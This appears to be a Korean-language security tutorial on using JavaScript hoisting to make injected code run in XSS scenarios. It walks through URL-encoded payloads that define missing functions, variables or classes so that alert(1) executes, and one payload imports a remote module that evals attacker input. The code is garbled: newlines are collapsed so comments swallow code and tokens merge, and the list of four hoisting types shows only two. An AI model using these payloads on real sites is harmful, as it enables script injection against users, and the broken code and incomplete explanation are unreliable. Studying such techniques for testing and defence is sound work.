JavaScript 언어에서 Hoisting으로 알려진 메커니즘은 변수, 함수, 클래스 또는 임포트의 선언이 코드가 실행되기 전에 개념적으로 그 범위의 맨 위로 올라가는 과정을 설명합니다. 이 과정은 JavaScript 엔진에 의해 자동으로 수행되며, 스크립트를 여러 번 통과하면서 진행됩니다.
첫 번째 통과 동안, 엔진은 코드를 구문 오류를 확인하기 위해 파싱하고 이를 추상 구문 트리로 변환합니다. 이 단계에는 특정 선언이 실행 컨텍스트의 맨 위로 이동하는 호이스팅이 포함됩니다. 파싱 단계가 성공적으로 완료되면, 즉 구문 오류가 없음을 나타내면, 스크립트 실행이 진행됩니다.
이해해야 할 중요한 점은:
스크립트는 실행이 발생하기 위해 구문 오류가 없어야 합니다. 구문 규칙은 엄격하게 준수되어야 합니다.
스크립트 내 코드의 배치가 호이스팅으로 인해 실행에 영향을 미치지만, 실행된 코드는 텍스트 표현과 다를 수 있습니다.
Types of Hoisting
MDN의 정보에 따르면, JavaScript에는 네 가지 뚜렷한 호이스팅 유형이 있습니다:
Value Hoisting: 변수의 선언 라인 이전에 해당 변수의 값을 사용할 수 있게 합니다.
Declaration Hoisting: 변수의 선언 이전에 해당 변수를 참조할 수 있게 하며, 이로 인해 ReferenceError가 발생하지 않지만 변수의 값은 undefined가 됩니다.
이 유형은 실제 선언 라인 이전에 변수의 선언으로 인해 범위 내 동작을 변경합니다.
선언의 부작용은 해당 선언을 포함한 나머지 코드가 평가되기 전에 발생합니다.
자세히 설명하자면, 함수 선언은 유형 1 호이스팅 동작을 나타냅니다. var 키워드는 유형 2 동작을 보여줍니다. let, const, 및 class를 포함한 렉시컬 선언은 유형 3 동작을 나타냅니다. 마지막으로, import 문은 유형 1 및 유형 4 동작으로 호이스팅되는 독특한 특성을 가지고 있습니다.
Scenarios
따라서 선언되지 않은 객체가 사용된 후에 JS 코드를 주입할 수 있는 시나리오가 있다면, 이를 선언하여 구문을 수정할 수 있습니다(그래야 오류를 발생시키는 대신 코드가 실행됩니다):
// The function vulnerableFunction is not definedvulnerableFunction('test','<INJECTION>');// You can define it in your injection to execute JS//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b'-alert(1)-''); function vulnerableFunction(a,b){return 1};//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection// In the following example var a is not definedfunctionmyFunction(a,b){return1};myFunction(a,'<INJECTION>')//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3btest'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being usedvar variable =newunexploitableClass();<INJECTION>// But you can actually declare it as a function, being able to fix the syntax with something like:function unexploitableClass() {return 1;}alert(1);
// Properties are not hoisted// So the following examples where the 'cookie' attribute doesn´t exist// cannot be fixed if you can only inject after that code:test.cookie('leo','INJECTION')test['cookie','injection']
더 많은 시나리오
// Undeclared var accessing to an undeclared methodx.y(1,INJECTION)// You can injectalert(1));functionx(){}//// And execute the allert with (the alert is resolved before it's detected that the "y" is undefinedx.y(1,alert(1));functionx(){}//)
// Undeclared var accessing 2 nested undeclared methodx.y.z(1,INJECTION)// You can inject");import {x} from "https://example.com/module.js"//// It will be executedx.y.z("alert(1)");import {x} from"https://example.com/module.js"//")// The imported module:// module.jsvar x = {y: {z:function(param) {eval(param);}}};export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/// It was injected the: let config;`-alert(1)`//`// With the goal of making in the block the var config be empty, so the return is not executed// And the same injection was replicated in the body URL to execute an alerttry {if(config){return;}// TODO handle missing config for: https://try-to-catch.glitch.me/"+`let config;`-alert(1)`//`+"} catch {fetch("/error", {method:"POST",body: {url:"https://try-to-catch.glitch.me/"+`let config;`-alert(1)-`//`+""}})}
